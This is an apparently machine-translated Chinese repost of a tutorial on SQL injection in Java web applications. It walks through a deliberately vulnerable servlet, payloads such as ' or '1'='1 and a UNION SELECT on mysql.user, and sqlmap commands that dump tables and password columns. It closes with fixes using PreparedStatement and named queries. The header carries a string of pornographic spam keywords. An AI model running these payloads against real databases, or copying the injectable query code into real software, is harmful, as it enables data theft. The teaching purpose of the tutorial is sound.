日韩性视频-久久久蜜桃-www中文字幕-在线中文字幕av-亚洲欧美一区二区三区四区-撸久久-香蕉视频一区-久久无码精品丰满人妻-国产高潮av-激情福利社-日韩av网址大全-国产精品久久999-日本五十路在线-性欧美在线-久久99精品波多结衣一区-男女午夜免费视频-黑人极品ⅴideos精品欧美棵-人人妻人人澡人人爽精品欧美一区-日韩一区在线看-欧美a级在线免费观看

歡迎訪問 生活随笔!

生活随笔

當(dāng)前位置: 首頁(yè) > 编程语言 > java >内容正文

java

Java应用程序中的SQL注入

發(fā)布時(shí)間:2023/12/3 java 21 豆豆
生活随笔 收集整理的這篇文章主要介紹了 Java应用程序中的SQL注入 小編覺得挺不錯(cuò)的,現(xiàn)在分享給大家,幫大家做個(gè)參考.

在本文中,我們將討論什么是SQL注入攻擊。 以及它如何影響任何Web應(yīng)用程序使用后端數(shù)據(jù)庫(kù)。 在這里,我專注于Java Web應(yīng)用程序。 開放Web應(yīng)用程序安全項(xiàng)目(OWAP)列出了SQL注入是Web應(yīng)用程序的主要漏洞攻擊。 黑客將Web請(qǐng)求中的SQL代碼注入Web應(yīng)用程序并控制了后端數(shù)據(jù)庫(kù),即使后端數(shù)據(jù)庫(kù)未直接連接到Internet也是如此。 我們將看到如何解決和防止Java Web Application中的SQL注入。

為此,我們需要1個(gè)工具。 這些工具是完全開源的。 SQL Map – SqlMap是一種開源滲透測(cè)試工具,可自動(dòng)執(zhí)行檢測(cè)和利用SQL Injection的過程。 我們可以從這里得到。

SQL注入

SQL注入是通過Web應(yīng)用程序提取數(shù)據(jù)庫(kù)信息的技術(shù)。
場(chǎng)景:

我們有一臺(tái)數(shù)據(jù)庫(kù)服務(wù)器[MySQL]和Web應(yīng)用程序服務(wù)器[Tomcat]。 考慮數(shù)據(jù)庫(kù)服務(wù)器未連接到Internet。 但它與應(yīng)用程序服務(wù)器連接。 現(xiàn)在我們將看到使用Web應(yīng)用程序如何使用sql-injection方法提取信息。

在查看sql注入之前,我們創(chuàng)建了小型Web應(yīng)用程序。 它包含單個(gè)jsp頁(yè)面,像這樣

<form action='userCheck'><input type='text' name='user' value=''/><input type='submit' value='Submit'/></form>

在userCheck中,Servlet接收用戶輸入字段并連接到數(shù)據(jù)庫(kù)服務(wù)器,并根據(jù)用戶輸入觸發(fā)sql查詢,并接收ResultSet并將其迭代打印到網(wǎng)頁(yè)中。
userCheck servlet

protected void processRequest(HttpServletRequest request, HttpServletResponse response)throws ServletException, IOException {response.setContentType('text/html;charset=UTF-8');PrintWriter out = response.getWriter();try {String user = request.getParameter('user');Connection conn = null;String url = 'jdbc:mysql://192.168.2.128:3306/';String dbName = 'anvayaV2';String driver = 'com.mysql.jdbc.Driver';String userName = 'root';String password = '';try {Class.forName(driver).newInstance();conn = DriverManager.getConnection(url + dbName, userName, password);Statement st = conn.createStatement();String query = 'SELECT * FROM User where userId='' + user + ''';out.println('Query : ' + query);System.out.printf(query);ResultSet res = st.executeQuery(query);out.println('Results');while (res.next()) {String s = res.getString('username');out.println('\t\t' + s);}conn.close();} catch (Exception e) {e.printStackTrace();}} finally {out.close();}

當(dāng)我們執(zhí)行上面的代碼時(shí)。 在正常的輸入執(zhí)行中,如下所示

當(dāng)我們使用“ ramki”之類的正常值時(shí),請(qǐng)點(diǎn)擊“提交”按鈕,然后像這樣輸出

在正常行為中,它是完全正確的。 當(dāng)我在輸入框中輸入一些特殊字符或某些sql語(yǔ)句時(shí)會(huì)發(fā)生什么?

當(dāng)我們單擊提交按鈕時(shí),它將顯示我的表格中的所有行,如下所示

這是我應(yīng)用程序中的一個(gè)重大安全漏洞。 發(fā)生了什么……是一種SQL注入。

讓我們看看發(fā)生什么了。

當(dāng)我在輸入框中輸入正常值時(shí),我的servlet接收并替換sql查詢并執(zhí)行它。

SELECT * FROM User where userId='ramki'

是正確的,我們得到了正確的輸出。

當(dāng)我放入sdfssd'或'1'='1時(shí)會(huì)發(fā)生什么

SELECT * FROM用戶,其中userId =' sdfssd'或'1'='1 '

它的手段

SELECT * FROM User where userId ='sdfssd' or '1'='1'

像這樣。 因此,我們的查詢已更改。 現(xiàn)在新查詢有2個(gè)條件。 第二條件始終為真。 第一個(gè)條件可能是正確的,也可能不是。 但是這兩個(gè)條件與或邏輯相連。 因此where子句對(duì)于所有行始終為true。 結(jié)果是它們帶來了表中的所有行。

這稱為盲SQL注入。 如果您想了解更多有關(guān)SQL注入的詳細(xì)信息,請(qǐng)點(diǎn)擊此處

  • http://www.unixwiz.net/techtips/sql-injection.html
  • http://www.imperva.com/resources/glossary/sql_injection.html
  • http://www.applicure.com/blog/owasp-top-10-2010

現(xiàn)在我們可以直接在輸入框中輸入sql語(yǔ)句

喜歡

ramki'UNION SELECT * FROM mysql.`user` u —

然后

SELECT * FROM User where userId =' ramki'UNION SELECT * FROM MySQL.`user` u — '

然后它的意思

SELECT * FROM User where userId ='ramki' UNION SELECT * FROM mysql.`user` u --'

在這里,他們不會(huì)使用*,因?yàn)樗c第一個(gè)表不匹配。 因此,他們找到了多少列,然后將聯(lián)合表與第二個(gè)表一起使用。他們想要的用戶特定列。 結(jié)果,獲取mysql數(shù)據(jù)庫(kù)用戶信息通過我們的Web應(yīng)用程序公開。

sqlmap

它配備了強(qiáng)大的檢測(cè)引擎,針對(duì)最終滲透測(cè)試儀的眾多細(xì)分功能以及從數(shù)據(jù)庫(kù)指紋識(shí)別到從數(shù)據(jù)庫(kù)獲取數(shù)據(jù)的廣泛轉(zhuǎn)換

在您的系統(tǒng)中安裝sqlmap或使用BackTrack Linux

在這里,我使用了回溯Linux,因?yàn)樗呀?jīng)預(yù)先安裝了許多應(yīng)用程序,例如sqlmap。

在回溯中,sqlmap位于/ pentest / web / scanner / sqlmap中

sqlmap命令

檢索所有數(shù)據(jù)庫(kù)

./sqlmap.py -u http://localhost:8080/SQLInject/userCheck?user=ramki --dbs

檢索所有表

./sqlmap.py -u http://localhost:8080/SQLInject/userCheck?user=ramki -D test --tables

從特定表中檢索所有列

./sqlmap.py -u http://localhost:8080/SQLInject/userCheck?user=ramki -D test -T User --columns

轉(zhuǎn)儲(chǔ)特定表中所有值的列

./sqlmap.py -u http://localhost:8080/SQLInject/userCheck?user=ramki -D test -T User --dump

轉(zhuǎn)儲(chǔ)特定表中某些值的列

./sqlmap.py -u http://localhost:8080/SQLInject/userCheck?user=ramki -D test -T User -C userId,password --dump

觀看視頻以獲取完整的演示(高清觀看):

http://www.youtube.com/watch?feature=player_embedded&v=C5PQ86nWMkM

如何防止SQL注入

  • 在替代查詢之前,我們需要進(jìn)行驗(yàn)證。 刪除ir可以避免使用特殊字符(如單引號(hào)),關(guān)鍵字(如select,Union)等。
  • 與占位符一起使用準(zhǔn)備好的語(yǔ)句
PreparedStatement preparedStatement=conn.prepareStatement('SELECT * FROM usercheck where username=?') ; preparedStatement.setString(1, user);

setXXX()方法進(jìn)行所有驗(yàn)證并轉(zhuǎn)義特殊字符

現(xiàn)在,如果使用相同的盲注SQL注入

sdfssd'或'1'='1然后

SELECT * FROM User where userId='sdfssd\' or \'1\'=\'1'

在這里,所有特殊字符都被轉(zhuǎn)義。當(dāng)我們使用JPA類的ORM工具(例如Hibernate,EclipseLink,TopLink)時(shí),也可能出現(xiàn)sqlinjection。

為了防止SQL注入,我們需要使用NamedQuery代替普通的Query。 因?yàn)镹amedQuery在內(nèi)部使用PreparedStement,但是普通查詢?cè)贘ava中使用norma Stement。

JPA中的普通查詢

String q='SELECT r FROM User r where r.userId=''+user+'''; Query query=em.createQuery(q); List users=query.getResultList();

所以不要使用普通查詢,而是使用命名查詢

Query query=em.createNamedQuery('User.findByUserId'); query.setParameter('userId', user); List users=query.getResultList();


您可以從GitHub (或) Google代碼下載演示代碼

參考:在Ramki Java Blog博客上,請(qǐng)我們的JCG合作伙伴 Rama Krishnan 注意Java應(yīng)用程序中的SQLInjection 。

翻譯自: https://www.javacodegeeks.com/2012/11/sql-injection-in-java-application.html

總結(jié)

以上是生活随笔為你收集整理的Java应用程序中的SQL注入的全部?jī)?nèi)容,希望文章能夠幫你解決所遇到的問題。

如果覺得生活随笔網(wǎng)站內(nèi)容還不錯(cuò),歡迎將生活随笔推薦給好友。